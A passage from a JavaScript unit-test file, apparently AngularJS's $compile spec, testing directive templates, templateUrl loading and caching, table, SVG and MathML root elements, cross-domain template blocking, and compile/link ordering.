              '<div>' +
                '<div ng-repeat="i in [1]" class="one {{cls}} three" replace></div>' +
              '</div>')($rootScope);
          $rootScope.$apply(function() {
            $rootScope.cls = 'two';
          });
          var child = element.find('div').eq(0);
          expect(child).toHaveClass('one');
          expect(child).toHaveClass('two'); // interpolated
          expect(child).toHaveClass('three');
          expect(child).toHaveClass('log'); // merged from replace directive template
        }));
        it("should fail if replacing and template doesn't have a single root element", function() {
          module(function() {
            directive('noRootElem', function() {
              return {
                replace: true,
                template: 'dada'
              };
            });
            directive('multiRootElem', function() {
              return {
                replace: true,
                template: '<div></div><div></div>'
              };
            });
            directive('singleRootWithWhiteSpace', function() {
              return {
                replace: true,
                template: '  <div></div> \n'
              };
            });
          });
          inject(function($compile) {
            expect(function() {
              $compile('<p no-root-elem></p>');
            }).toThrowMinErr("$compile", "tplrt", "Template for directive 'noRootElem' must have exactly one root element. ");
            expect(function() {
              $compile('<p multi-root-elem></p>');
            }).toThrowMinErr("$compile", "tplrt", "Template for directive 'multiRootElem' must have exactly one root element. ");
            // ws is ok
            expect(function() {
              $compile('<p single-root-with-white-space></p>');
            }).not.toThrow();
          });
        });
        it('should support templates with root <tr> tags', inject(function($compile, $rootScope) {
          expect(function() {
            element = $compile('<div replace-with-tr></div>')($rootScope);
          }).not.toThrow();
          expect(nodeName_(element)).toMatch(/tr/i);
        }));
        it('should support templates with root <td> tags', inject(function($compile, $rootScope) {
          expect(function() {
            element = $compile('<div replace-with-td></div>')($rootScope);
          }).not.toThrow();
          expect(nodeName_(element)).toMatch(/td/i);
        }));
        it('should support templates with root <th> tags', inject(function($compile, $rootScope) {
          expect(function() {
            element = $compile('<div replace-with-th></div>')($rootScope);
          }).not.toThrow();
          expect(nodeName_(element)).toMatch(/th/i);
        }));
        it('should support templates with root <thead> tags', inject(function($compile, $rootScope) {
          expect(function() {
            element = $compile('<div replace-with-thead></div>')($rootScope);
          }).not.toThrow();
          expect(nodeName_(element)).toMatch(/thead/i);
        }));
        it('should support templates with root <tbody> tags', inject(function($compile, $rootScope) {
          expect(function() {
            element = $compile('<div replace-with-tbody></div>')($rootScope);
          }).not.toThrow();
          expect(nodeName_(element)).toMatch(/tbody/i);
        }));
        it('should support templates with root <tfoot> tags', inject(function($compile, $rootScope) {
          expect(function() {
            element = $compile('<div replace-with-tfoot></div>')($rootScope);
          }).not.toThrow();
          expect(nodeName_(element)).toMatch(/tfoot/i);
        }));
        it('should support templates with root <option> tags', inject(function($compile, $rootScope) {
          expect(function() {
            element = $compile('<div replace-with-option></div>')($rootScope);
          }).not.toThrow();
          expect(nodeName_(element)).toMatch(/option/i);
        }));
        it('should support templates with root <optgroup> tags', inject(function($compile, $rootScope) {
          expect(function() {
            element = $compile('<div replace-with-optgroup></div>')($rootScope);
          }).not.toThrow();
          expect(nodeName_(element)).toMatch(/optgroup/i);
        }));
        if (window.SVGAElement) {
          it('should support SVG templates using directive.type=svg', function() {
            module(function() {
              directive('svgAnchor', valueFn({
                replace: true,
                template: '<a xlink:href="{{linkurl}}">{{text}}</a>',
                type: 'SVG',
                scope: {
                  linkurl: '@svgAnchor',
                  text: '@?'
                }
              }));
            });
            inject(function($compile, $rootScope) {
              element = $compile('<svg><g svg-anchor="/foo/bar" text="foo/bar!"></g></svg>')($rootScope);
              var child = element.children().eq(0);
              $rootScope.$digest();
              expect(nodeName_(child)).toMatch(/a/i);
              expect(child[0].constructor).toBe(window.SVGAElement);
              expect(child[0].href.baseVal).toBe("/foo/bar");
            });
          });
        }
        // MathML is only natively supported in Firefox at the time of this test's writing,
        // and even there, the browser does not export MathML element constructors globally.
        // So the test is slightly limited in what it does. But as browsers begin to
        // implement MathML natively, this can be tightened up to be more meaningful.
        it('should support MathML templates using directive.type=math', function() {
          module(function() {
            directive('pow', valueFn({
              replace: true,
              transclude: true,
              template: '<msup><mn>{{pow}}</mn></msup>',
              type: 'MATH',
              scope: {
                pow: '@pow',
              },
              link: function(scope, elm, attr, ctrl, transclude) {
                transclude(function(node) {
                  elm.prepend(node[0]);
                });
              }
            }));
          });
          inject(function($compile, $rootScope) {
            element = $compile('<math><mn pow="2"><mn>8</mn></mn></math>')($rootScope);
            $rootScope.$digest();
            var child = element.children().eq(0);
            expect(nodeName_(child)).toMatch(/msup/i);
          });
        });
      });
      describe('template as function', function() {
        beforeEach(module(function() {
          directive('myDirective', valueFn({
            replace: true,
            template: function($element, $attrs) {
              expect($element.text()).toBe('original content');
              expect($attrs.myDirective).toBe('some value');
              return '<div id="templateContent">template content</div>';
            },
            compile: function($element, $attrs) {
              expect($element.text()).toBe('template content');
              expect($attrs.id).toBe('templateContent');
            }
          }));
        }));
        it('should evaluate `template` when defined as fn and use returned string as template', inject(
            function($compile, $rootScope) {
          element = $compile('<div my-directive="some value">original content<div>')($rootScope);
          expect(element.text()).toEqual('template content');
        }));
      });
      describe('templateUrl', function() {
        beforeEach(module(
          function() {
            directive('hello', valueFn({
              restrict: 'CAM',
              templateUrl: 'hello.html',
              transclude: true
            }));
            directive('cau', valueFn({
              restrict: 'CAM',
              templateUrl: 'cau.html'
            }));
            directive('crossDomainTemplate', valueFn({
              restrict: 'CAM',
              templateUrl: 'http://example.com/should-not-load.html'
            }));
            directive('trustedTemplate', function($sce) {
              return {
                restrict: 'CAM',
                templateUrl: function() {
                  return $sce.trustAsResourceUrl('http://example.com/trusted-template.html');
                }
              };
            });
            directive('cError', valueFn({
              restrict: 'CAM',
              templateUrl:'error.html',
              compile: function() {
                throw new Error('cError');
              }
            }));
            directive('lError', valueFn({
              restrict: 'CAM',
              templateUrl: 'error.html',
              compile: function() {
                throw new Error('lError');
              }
            }));
            directive('iHello', valueFn({
              restrict: 'CAM',
              replace: true,
              templateUrl: 'hello.html'
            }));
            directive('iCau', valueFn({
              restrict: 'CAM',
              replace: true,
              templateUrl:'cau.html'
            }));
            directive('iCError', valueFn({
              restrict: 'CAM',
              replace: true,
              templateUrl:'error.html',
              compile: function() {
                throw new Error('cError');
              }
            }));
            directive('iLError', valueFn({
              restrict: 'CAM',
              replace: true,
              templateUrl: 'error.html',
              compile: function() {
                throw new Error('lError');
              }
            }));
            directive('replace', valueFn({
              replace: true,
              template: '<span>Hello, {{name}}!</span>'
            }));
            directive('replaceWithTr', valueFn({
              replace: true,
              templateUrl: 'tr.html'
            }));
            directive('replaceWithTd', valueFn({
              replace: true,
              templateUrl: 'td.html'
            }));
            directive('replaceWithTh', valueFn({
              replace: true,
              templateUrl: 'th.html'
            }));
            directive('replaceWithThead', valueFn({
              replace: true,
              templateUrl: 'thead.html'
            }));
            directive('replaceWithTbody', valueFn({
              replace: true,
              templateUrl: 'tbody.html'
            }));
            directive('replaceWithTfoot', valueFn({
              replace: true,
              templateUrl: 'tfoot.html'
            }));
            directive('replaceWithOption', valueFn({
              replace: true,
              templateUrl: 'option.html'
            }));
            directive('replaceWithOptgroup', valueFn({
              replace: true,
              templateUrl: 'optgroup.html'
            }));
          }
        ));
        it('should not load cross domain templates by default', inject(
          function($compile, $rootScope, $templateCache, $sce) {
            expect(function() {
              $templateCache.put('http://example.com/should-not-load.html', 'Should not load even if in cache.');
              $compile('<div class="crossDomainTemplate"></div>')($rootScope);
            }).toThrowMinErr('$sce', 'insecurl', 'Blocked loading resource from url not allowed by $sceDelegate policy.  URL: http://example.com/should-not-load.html');
          }
        ));
        it('should load cross domain templates when trusted', inject(
          function($compile, $httpBackend, $rootScope, $sce) {
            $httpBackend.expect('GET', 'http://example.com/trusted-template.html').respond('<span>example.com/trusted_template_contents</span>');
            element = $compile('<div class="trustedTemplate"></div>')($rootScope);
            expect(sortedHtml(element)).
                toEqual('<div class="trustedTemplate"></div>');
            $httpBackend.flush();
            expect(sortedHtml(element)).
                toEqual('<div class="trustedTemplate"><span>example.com/trusted_template_contents</span></div>');
          }
        ));
        it('should append template via $http and cache it in $templateCache', inject(
            function($compile, $httpBackend, $templateCache, $rootScope, $browser) {
              $httpBackend.expect('GET', 'hello.html').respond('<span>Hello!</span> World!');
              $templateCache.put('cau.html', '<span>Cau!</span>');
              element = $compile('<div><b class="hello">ignore</b><b class="cau">ignore</b></div>')($rootScope);
              expect(sortedHtml(element)).
                  toEqual('<div><b class="hello"></b><b class="cau"></b></div>');
              $rootScope.$digest();
              expect(sortedHtml(element)).
                  toEqual('<div><b class="hello"></b><b class="cau"><span>Cau!</span></b></div>');
              $httpBackend.flush();
              expect(sortedHtml(element)).toEqual(
                  '<div>' +
                    '<b class="hello"><span>Hello!</span> World!</b>' +
                    '<b class="cau"><span>Cau!</span></b>' +
                  '</div>');
            }
        ));
        it('should inline template via $http and cache it in $templateCache', inject(
            function($compile, $httpBackend, $templateCache, $rootScope) {
              $httpBackend.expect('GET', 'hello.html').respond('<span>Hello!</span>');
              $templateCache.put('cau.html', '<span>Cau!</span>');
              element = $compile('<div><b class=i-hello>ignore</b><b class=i-cau>ignore</b></div>')($rootScope);
              expect(sortedHtml(element)).
                  toEqual('<div><b class="i-hello"></b><b class="i-cau"></b></div>');
              $rootScope.$digest();
              expect(sortedHtml(element)).toBeOneOf(
                  '<div><b class="i-hello"></b><span class="i-cau">Cau!</span></div>',
                  '<div><b class="i-hello"></b><span class="i-cau" i-cau="">Cau!</span></div>' //ie8
              );
              $httpBackend.flush();
              expect(sortedHtml(element)).toBeOneOf(
                  '<div><span class="i-hello">Hello!</span><span class="i-cau">Cau!</span></div>',
                  '<div><span class="i-hello" i-hello="">Hello!</span><span class="i-cau" i-cau="">Cau!</span></div>' //ie8
              );
            }
        ));
        it('should compile, link and flush the template append', inject(
            function($compile, $templateCache, $rootScope, $browser) {
              $templateCache.put('hello.html', '<span>Hello, {{name}}!</span>');
              $rootScope.name = 'Elvis';
              element = $compile('<div><b class="hello"></b></div>')($rootScope);
              $rootScope.$digest();
              expect(sortedHtml(element)).
                  toEqual('<div><b class="hello"><span>Hello, Elvis!</span></b></div>');
            }
        ));
        it('should compile, link and flush the template inline', inject(
            function($compile, $templateCache, $rootScope) {
              $templateCache.put('hello.html', '<span>Hello, {{name}}!</span>');
              $rootScope.name = 'Elvis';
              element = $compile('<div><b class=i-hello></b></div>')($rootScope);
              $rootScope.$digest();
              expect(sortedHtml(element)).toBeOneOf(
                  '<div><span class="i-hello">Hello, Elvis!</span></div>',
                  '<div><span class="i-hello" i-hello="">Hello, Elvis!</span></div>' //ie8
              );
            }
        ));
        it('should compile, flush and link the template append', inject(
            function($compile, $templateCache, $rootScope) {
              $templateCache.put('hello.html', '<span>Hello, {{name}}!</span>');
              $rootScope.name = 'Elvis';
              var template = $compile('<div><b class="hello"></b></div>');
              element = template($rootScope);
              $rootScope.$digest();
              expect(sortedHtml(element)).
                  toEqual('<div><b class="hello"><span>Hello, Elvis!</span></b></div>');
            }
        ));
        it('should compile, flush and link the template inline', inject(
            function($compile, $templateCache, $rootScope) {
              $templateCache.put('hello.html', '<span>Hello, {{name}}!</span>');
              $rootScope.name = 'Elvis';
              var template = $compile('<div><b class=i-hello></b></div>');
              element = template($rootScope);
              $rootScope.$digest();
              expect(sortedHtml(element)).toBeOneOf(
                  '<div><span class="i-hello">Hello, Elvis!</span></div>',
                  '<div><span class="i-hello" i-hello="">Hello, Elvis!</span></div>' //ie8
              );
            }
        ));
        it('should compile template when replacing element in another template',
            inject(function($compile, $templateCache, $rootScope) {
          $templateCache.put('hello.html', '<div replace></div>');
          $rootScope.name = 'Elvis';
          element = $compile('<div><b class="hello"></b></div>')($rootScope);
          $rootScope.$digest();
          expect(sortedHtml(element)).
            toEqual('<div><b class="hello"><span replace="">Hello, Elvis!</span></b></div>');
        }));
        it('should compile template when replacing root element',
            inject(function($compile, $templateCache, $rootScope) {
              $rootScope.name = 'Elvis';
              element = $compile('<div replace></div>')($rootScope);
              $rootScope.$digest();
              expect(sortedHtml(element)).
                  toEqual('<span replace="">Hello, Elvis!</span>');
            }));
        it('should resolve widgets after cloning in append mode', function() {
          module(function($exceptionHandlerProvider) {
            $exceptionHandlerProvider.mode('log');
          });
          inject(function($compile, $templateCache, $rootScope, $httpBackend, $browser,
                   $exceptionHandler) {
            $httpBackend.expect('GET', 'hello.html').respond('<span>{{greeting}} </span>');
            $httpBackend.expect('GET', 'error.html').respond('<div></div>');
            $templateCache.put('cau.html', '<span>{{name}}</span>');
            $rootScope.greeting = 'Hello';
            $rootScope.name = 'Elvis';
            var template = $compile(
              '<div>' +
                '<b class="hello"></b>' +
                '<b class="cau"></b>' +
                '<b class=c-error></b>' +
                '<b class=l-error></b>' +
              '</div>');
            var e1;
            var e2;
            e1 = template($rootScope.$new(), noop); // clone
            expect(e1.text()).toEqual('');
            $httpBackend.flush();
            e2 = template($rootScope.$new(), noop); // clone
            $rootScope.$digest();
            expect(e1.text()).toEqual('Hello Elvis');
            expect(e2.text()).toEqual('Hello Elvis');
            expect($exceptionHandler.errors.length).toEqual(2);
            expect($exceptionHandler.errors[0][0].message).toEqual('cError');
            expect($exceptionHandler.errors[1][0].message).toEqual('lError');
            dealoc(e1);
            dealoc(e2);
          });
        });
        it('should resolve widgets after cloning in append mode without $templateCache', function() {
          module(function($exceptionHandlerProvider) {
            $exceptionHandlerProvider.mode('log');
          });
          inject(function($compile, $templateCache, $rootScope, $httpBackend, $browser,
                          $exceptionHandler) {
            $httpBackend.expect('GET', 'cau.html').respond('<span>{{name}}</span>');
            $rootScope.name = 'Elvis';
            var template = $compile('<div class="cau"></div>');
            var e1;
            var e2;
            e1 = template($rootScope.$new(), noop); // clone
            expect(e1.text()).toEqual('');
            $httpBackend.flush();
            e2 = template($rootScope.$new(), noop); // clone
            $rootScope.$digest();
            expect(e1.text()).toEqual('Elvis');
            expect(e2.text()).toEqual('Elvis');
            dealoc(e1);
            dealoc(e2);
          });
        });
        it('should resolve widgets after cloning in inline mode', function() {
          module(function($exceptionHandlerProvider) {
            $exceptionHandlerProvider.mode('log');
          });
          inject(function($compile, $templateCache, $rootScope, $httpBackend, $browser,
                   $exceptionHandler) {
            $httpBackend.expect('GET', 'hello.html').respond('<span>{{greeting}} </span>');
            $httpBackend.expect('GET', 'error.html').respond('<div></div>');
            $templateCache.put('cau.html', '<span>{{name}}</span>');
            $rootScope.greeting = 'Hello';
            $rootScope.name = 'Elvis';
            var template = $compile(
              '<div>' +
                '<b class=i-hello></b>' +
                '<b class=i-cau></b>' +
                '<b class=i-c-error></b>' +
                '<b class=i-l-error></b>' +
              '</div>');
            var e1;
            var e2;
            e1 = template($rootScope.$new(), noop); // clone
            expect(e1.text()).toEqual('');
            $httpBackend.flush();
            e2 = template($rootScope.$new(), noop); // clone
            $rootScope.$digest();
            expect(e1.text()).toEqual('Hello Elvis');
            expect(e2.text()).toEqual('Hello Elvis');
            expect($exceptionHandler.errors.length).toEqual(2);
            expect($exceptionHandler.errors[0][0].message).toEqual('cError');
            expect($exceptionHandler.errors[1][0].message).toEqual('lError');
            dealoc(e1);
            dealoc(e2);
          });
        });
        it('should resolve widgets after cloning in inline mode without $templateCache', function() {
          module(function($exceptionHandlerProvider) {
            $exceptionHandlerProvider.mode('log');
          });
          inject(function($compile, $templateCache, $rootScope, $httpBackend, $browser,
                          $exceptionHandler) {
            $httpBackend.expect('GET', 'cau.html').respond('<span>{{name}}</span>');
            $rootScope.name = 'Elvis';
            var template = $compile('<div class="i-cau"></div>');
            var e1;
            var e2;
            e1 = template($rootScope.$new(), noop); // clone
            expect(e1.text()).toEqual('');
            $httpBackend.flush();
            e2 = template($rootScope.$new(), noop); // clone
            $rootScope.$digest();
            expect(e1.text()).toEqual('Elvis');
            expect(e2.text()).toEqual('Elvis');
            dealoc(e1);
            dealoc(e2);
          });
        });
        it('should be implicitly terminal and not compile placeholder content in append', inject(
            function($compile, $templateCache, $rootScope, log) {
              // we can't compile the contents because that would result in a memory leak
              $templateCache.put('hello.html', 'Hello!');
              element = $compile('<div><b class="hello"><div log></div></b></div>')($rootScope);
              expect(log).toEqual('');
            }
        ));
        it('should be implicitly terminal and not compile placeholder content in inline', inject(
            function($compile, $templateCache, $rootScope, log) {
              // we can't compile the contents because that would result in a memory leak
              $templateCache.put('hello.html', 'Hello!');
              element = $compile('<div><b class=i-hello><div log></div></b></div>')($rootScope);
              expect(log).toEqual('');
            }
        ));
        it('should throw an error and clear element content if the template fails to load', inject(
            function($compile, $httpBackend, $rootScope) {
              $httpBackend.expect('GET', 'hello.html').respond(404, 'Not Found!');
              element = $compile('<div><b class="hello">content</b></div>')($rootScope);
              expect(function() {
                $httpBackend.flush();
              }).toThrowMinErr('$compile', 'tpload', 'Failed to load template: hello.html');
              expect(sortedHtml(element)).toBe('<div><b class="hello"></b></div>');
            }
        ));
        it('should prevent multiple templates per element', function() {
          module(function() {
            directive('sync', valueFn({
              restrict: 'C',
              template: '<span></span>'
            }));
            directive('async', valueFn({
              restrict: 'C',
              templateUrl: 'template.html'
            }));
          });
          inject(function($compile, $httpBackend){
            $httpBackend.whenGET('template.html').respond('<p>template.html</p>');
            expect(function() {
              $compile('<div><div class="sync async"></div></div>');
              $httpBackend.flush();
            }).toThrowMinErr('$compile', 'multidir', 'Multiple directives [async, sync] asking for template on: '+
                '<div class="sync async">');
          });
        });
        it('should copy classes from pre-template node into linked element', function() {
          module(function() {
            directive('test', valueFn({
              templateUrl: 'test.html',
              replace: true
            }));
          });
          inject(function($compile, $templateCache, $rootScope) {
            var child;
            $templateCache.put('test.html', '<p class="template-class">Hello</p>');
            element = $compile('<div test></div>')($rootScope, function(node) {
              node.addClass('clonefn-class');
            });
            $rootScope.$digest();
            expect(element).toHaveClass('template-class');
            expect(element).toHaveClass('clonefn-class');
          });
        });
        describe('delay compile / linking functions until after template is resolved', function(){
          var template;
          beforeEach(module(function() {
            function logDirective (name, priority, options) {
              directive(name, function(log) {
                return (extend({
                  priority: priority,
                  compile: function() {
                    log(name + '-C');
                    return {
                      pre: function() { log(name + '-PreL'); },
                      post: function() { log(name + '-PostL'); }
                    };
                  }
                }, options || {}));
              });
            }
            logDirective('first', 10);
            logDirective('second', 5, { templateUrl: 'second.html' });
            logDirective('third', 3);
            logDirective('last', 0);
            logDirective('iFirst', 10, {replace: true});
            logDirective('iSecond', 5, {replace: true, templateUrl: 'second.html' });
            logDirective('iThird', 3, {replace: true});
            logDirective('iLast', 0, {replace: true});
          }));
          it('should flush after link append', inject(
              function($compile, $rootScope, $httpBackend, log) {
            $httpBackend.expect('GET', 'second.html').respond('<div third>{{1+2}}</div>');
            template = $compile('<div><span first second last></span></div>');
            element = template($rootScope);
            expect(log).toEqual('first-C');
            log('FLUSH');
            $httpBackend.flush();
            $rootScope.$digest();
            expect(log).toEqual(
              'first-C; FLUSH; second-C; last-C; third-C; ' +
              'first-PreL; second-PreL; last-PreL; third-PreL; ' +
              'third-PostL; last-PostL; second-PostL; first-PostL');
            var span = element.find('span');
            expect(span.attr('first')).toEqual('');
            expect(span.attr('second')).toEqual('');
            expect(span.find('div').attr('third')).toEqual('');
            expect(span.attr('last')).toEqual('');
            expect(span.text()).toEqual('3');
          }));
          it('should flush after link inline', inject(
              function($compile, $rootScope, $httpBackend, log) {
            $httpBackend.expect('GET', 'second.html').respond('<div i-third>{{1+2}}</div>');
            template = $compile('<div><span i-first i-second i-last></span></div>');
            element = template($rootScope);
            expect(log).toEqual('iFirst-C');
            log('FLUSH');
            $httpBackend.flush();
            $rootScope.$digest();
            expect(log).toEqual(
              'iFirst-C; FLUSH; iSecond-C; iThird-C; iLast-C; ' +
              'iFirst-PreL; iSecond-PreL; iThird-PreL; iLast-PreL; ' +
              'iLast-PostL; iThird-PostL; iSecond-PostL; iFirst-PostL');
            var div = element.find('div');
            expect(div.attr('i-first')).toEqual('');
            expect(div.attr('i-second')).toEqual('');
            expect(div.attr('i-third')).toEqual('');
            expect(div.attr('i-last')).toEqual('');
            expect(div.text()).toEqual('3');
          }));
          it('should flush before link append', inject(
              function($compile, $rootScope, $httpBackend, log) {
            $httpBackend.expect('GET', 'second.html').respond('<div third>{{1+2}}</div>');
            template = $compile('<div><span first second last></span></div>');
            expect(log).toEqual('first-C');
            log('FLUSH');
            $httpBackend.flush();
            expect(log).toEqual('first-C; FLUSH; second-C; last-C; third-C');
            element = template($rootScope);
            $rootScope.$digest();
            expect(log).toEqual(
              'first-C; FLUSH; second-C; last-C; third-C; ' +
              'first-PreL; second-PreL; last-PreL; third-PreL; ' +
              'third-PostL; last-PostL; second-PostL; first-PostL');
            var span = element.find('span');
            expect(span.attr('first')).toEqual('');
            expect(span.attr('second')).toEqual('');
            expect(span.find('div').attr('third')).toEqual('');
            expect(span.attr('last')).toEqual('');
            expect(span.text()).toEqual('3');
          }));
          it('should flush before link inline', inject(
              function($compile, $rootScope, $httpBackend, log) {
            $httpBackend.expect('GET', 'second.html').respond('<div i-third>{{1+2}}</div>');
            template = $compile('<div><span i-first i-second i-last></span></div>');
            expect(log).toEqual('iFirst-C');
            log('FLUSH');
            $httpBackend.flush();
            expect(log).toEqual('iFirst-C; FLUSH; iSecond-C; iThird-C; iLast-C');
            element = template($rootScope);
            $rootScope.$digest();
            expect(log).toEqual(
              'iFirst-C; FLUSH; iSecond-C; iThird-C; iLast-C; ' +
              'iFirst-PreL; iSecond-PreL; iThird-PreL; iLast-PreL; ' +
              'iLast-PostL; iThird-PostL; iSecond-PostL; iFirst-PostL');
            var div = element.find('div');
            expect(div.attr('i-first')).toEqual('');
            expect(div.attr('i-second')).toEqual('');
            expect(div.attr('i-third')).toEqual('');
            expect(div.attr('i-last')).toEqual('');
            expect(div.text()).toEqual('3');
          }));
        });
        it('should allow multiple elements in template', inject(function($compile, $httpBackend) {
          $httpBackend.expect('GET', 'hello.html').respond('before <b>mid</b> after');
          element = jqLite('<div hello></div>');
          $compile(element);
          $httpBackend.flush();
          expect(element.text()).toEqual('before mid after');
        }));
        it('should work when directive is on the root element', inject(
          function($compile, $httpBackend, $rootScope) {
            $httpBackend.expect('GET', 'hello.html').
                respond('<span>3==<span ng-transclude></span></span>');
            element = jqLite('<b class="hello">{{1+2}}</b>');
            $compile(element)($rootScope);
            $httpBackend.flush();
            expect(element.text()).toEqual('3==3');
          }
        ));
        it('should work when directive is in a repeater', inject(
          function($compile, $httpBackend, $rootScope) {
            $httpBackend.expect('GET', 'hello.html').
                respond('<span>i=<span ng-transclude></span>;</span>');
            element = jqLite('<div><b class=hello ng-repeat="i in [1,2]">{{i}}</b></div>');
            $compile(element)($rootScope);
            $httpBackend.flush();
            expect(element.text()).toEqual('i=1;i=2;');
          }
        ));
        it("should fail if replacing and template doesn't have a single root element", function() {
          module(function($exceptionHandlerProvider) {
            $exceptionHandlerProvider.mode('log');
            directive('template', function() {
              return {
                replace: true,
                templateUrl: 'template.html'
              };
            });
          });
          inject(function($compile, $templateCache, $rootScope, $exceptionHandler) {
            // no root element
            $templateCache.put('template.html', 'dada');
            $compile('<p template></p>');
            $rootScope.$digest();
            expect($exceptionHandler.errors.pop().message).
                toMatch(/\[\$compile:tplrt\] Template for directive 'template' must have exactly one root element\. template\.html/);
            // multi root
            $templateCache.put('template.html', '<div></div><div></div>');
            $compile('<p template></p>');
            $rootScope.$digest();
            expect($exceptionHandler.errors.pop().message).
                toMatch(/\[\$compile:tplrt\] Template for directive 'template' must have exactly one root element\. template\.html/);
            // ws is ok
            $templateCache.put('template.html', '  <div></div> \n');
            $compile('<p template></p>');
            $rootScope.$apply();
            expect($exceptionHandler.errors).toEqual([]);
          });
        });
        it('should resume delayed compilation without duplicates when in a repeater', function() {
          // this is a test for a regression
          // scope creation, isolate watcher setup, controller instantiation, etc should happen
          // only once even if we are dealing with delayed compilation of a node due to templateUrl
          // and the template node is in a repeater
          var controllerSpy = jasmine.createSpy('controller');
          module(function($compileProvider) {
            $compileProvider.directive('delayed', valueFn({
              controller: controllerSpy,
              templateUrl: 'delayed.html',
              scope: {
                title: '@'
              }
            }));
          });
          inject(function($templateCache, $compile, $rootScope) {
            $rootScope.coolTitle = 'boom!';
            $templateCache.put('delayed.html', '<div>{{title}}</div>');
            element = $compile(
                '<div><div ng-repeat="i in [1,2]"><div delayed title="{{coolTitle + i}}"></div>|</div></div>'
            )($rootScope);
            $rootScope.$apply();
            expect(controllerSpy.callCount).toBe(2);
            expect(element.text()).toBe('boom!1|boom!2|');
          });
        });
        it('should support templateUrl with replace', function() {
          // a regression https://github.com/angular/angular.js/issues/3792
          module(function($compileProvider) {
            $compileProvider.directive('simple', function() {
              return {
                templateUrl: '/some.html',
                replace: true
              };
            });
          });
          inject(function($templateCache, $rootScope, $compile) {
            $templateCache.put('/some.html',
              '<div ng-switch="i">' +
                '<div ng-switch-when="1">i = 1</div>' +
                '<div ng-switch-default>I dont know what `i` is.</div>' +
              '</div>');
            element = $compile('<div simple></div>')($rootScope);
            $rootScope.$apply(function() {
              $rootScope.i = 1;
            });
            expect(element.html()).toContain('i = 1');
          });
        });
        it('should support templates with root <tr> tags', inject(function($compile, $rootScope, $templateCache) {
          $templateCache.put('tr.html', '<tr><td>TR</td></tr>');
          expect(function() {
            element = $compile('<div replace-with-tr></div>')($rootScope);
          }).not.toThrow();
          $rootScope.$digest();
          expect(nodeName_(element)).toMatch(/tr/i);
        }));
        it('should support templates with root <td> tags', inject(function($compile, $rootScope, $templateCache) {
          $templateCache.put('td.html', '<td>TD</td>');
          expect(function() {
            element = $compile('<div replace-with-td></div>')($rootScope);
          }).not.toThrow();
          $rootScope.$digest();
          expect(nodeName_(element)).toMatch(/td/i);
        }));
        it('should support templates with root <th> tags', inject(function($compile, $rootScope, $templateCache) {
          $templateCache.put('th.html', '<th>TH</th>');
          expect(function() {
            element = $compile('<div replace-with-th></div>')($rootScope);
          }).not.toThrow();
          $rootScope.$digest();
          expect(nodeName_(element)).toMatch(/th/i);
        }));
        it('should support templates with root <thead> tags', inject(function($compile, $rootScope, $templateCache) {
          $templateCache.put('thead.html', '<thead><tr><td>TD</td></tr></thead>');
          expect(function() {
            element = $compile('<div replace-with-thead></div>')($rootScope);
          }).not.toThrow();
          $rootScope.$digest();
          expect(nodeName_(element)).toMatch(/thead/i);
        }));
        it('should support templates with root <tbody> tags', inject(function($compile, $rootScope, $templateCache) {
          $templateCache.put('tbody.html', '<tbody><tr><td>TD</td></tr></tbody>');
          expect(function() {
            element = $compile('<div replace-with-tbody></div>')($rootScope);
          }).not.toThrow();
          $rootScope.$digest();
          expect(nodeName_(element)).toMatch(/tbody/i);
        }));
        it('should support templates with root <tfoot> tags', inject(function($compile, $rootScope, $templateCache) {
          $templateCache.put('tfoot.html', '<tfoot><tr><td>TD</td></tr></tfoot>');
          expect(function() {
            element = $compile('<div replace-with-tfoot></div>')($rootScope);
          }).not.toThrow();
          $rootScope.$digest();
          expect(nodeName_(element)).toMatch(/tfoot/i);
        }));
        it('should support templates with root <option> tags', inject(function($compile, $rootScope, $templateCache) {
          $templateCache.put('option.html', '<option>OPTION</option>');
          expect(function() {
            element = $compile('<div replace-with-option></div>')($rootScope);
          }).not.toThrow();
          $rootScope.$digest();
          expect(nodeName_(element)).toMatch(/option/i);
        }));
        it('should support templates with root <optgroup> tags', inject(function($compile, $rootScope, $templateCache) {
          $templateCache.put('optgroup.html', '<optgroup>OPTGROUP</optgroup>');
          expect(function() {
            element = $compile('<div replace-with-optgroup></div>')($rootScope);
          }).not.toThrow();
          $rootScope.$digest();
          expect(nodeName_(element)).toMatch(/optgroup/i);
        }));
        if (window.SVGAElement) {
          it('should support SVG templates using directive.type=svg', function() {
            module(function() {
              directive('svgAnchor', valueFn({
                replace: true,
                templateUrl: 'template.html',
                type: 'SVG',
                scope: {
                  linkurl: '@svgAnchor',
                  text: '@?'
                }
              }));
            });
            inject(function($compile, $rootScope, $templateCache) {
              $templateCache.put('template.html', '<a xlink:href="{{linkurl}}">{{text}}</a>');
              element = $compile('<svg><g svg-anchor="/foo/bar" text="foo/bar!"></g></svg>')($rootScope);
              $rootScope.$digest();
              var child = element.children().eq(0);
              expect(nodeName_(child)).toMatch(/a/i);
              expect(child[0].constructor).toBe(window.SVGAElement);
              expect(child[0].href.baseVal).toBe("/foo/bar");
            });
          });
        }
        // MathML is only natively supported in Firefox at the time of this test's writing,
        // and even there, the browser does not export MathML element constructors globally.
        // So the test is slightly limited in what it does. But as browsers begin to
        // implement MathML natively, this can be tightened up to be more meaningful.
        it('should support MathML templates using directive.type=math', function() {
          module(function() {
            directive('pow', valueFn({
              replace: true,
              transclude: true,
              templateUrl: 'template.html',
              type: 'MATH',
              scope: {
                pow: '@pow',
              },
              link: function(scope, elm, attr, ctrl, transclude) {
                transclude(function(node) {
                  elm.prepend(node[0]);
                });
              }
            }));
          });
          inject(function($compile, $rootScope, $templateCache) {
            $templateCache.put('template.html', '<msup><mn>{{pow}}</mn></msup>');
            element = $compile('<math><mn pow="2"><mn>8</mn></mn></math>')($rootScope);
            $rootScope.$digest();
            var child = element.children().eq(0);
            expect(nodeName_(child)).toMatch(/msup/i);
          });
        });
      });
      describe('templateUrl as function', function() {
        beforeEach(module(function() {
          directive('myDirective', valueFn({
            replace: true,
            templateUrl: function($element, $attrs) {
              expect($element.text()).toBe('original content');
              expect($attrs.myDirective).toBe('some value');
              return 'my-directive.html';
            },
            compile: function($element, $attrs) {
              expect($element.text()).toBe('template content');
              expect($attrs.id).toBe('templateContent');
            }
          }));
        }));
        it('should evaluate `templateUrl` when defined as fn and use returned value as url', inject(
            function($compile, $rootScope, $templateCache) {
          $templateCache.put('my-directive.html', '<div id="templateContent">template content</span>');
          element = $compile('<div my-directive="some value">original content<div>')($rootScope);
          expect(element.text()).toEqual('');
          $rootScope.$digest();
          expect(element.text()).toEqual('template content');
        }));
      });
      describe('scope', function() {
        var iscope;
        beforeEach(module(function() {
          forEach(['', 'a', 'b'], function(name) {
            directive('scope' + uppercase(name), function(log) {
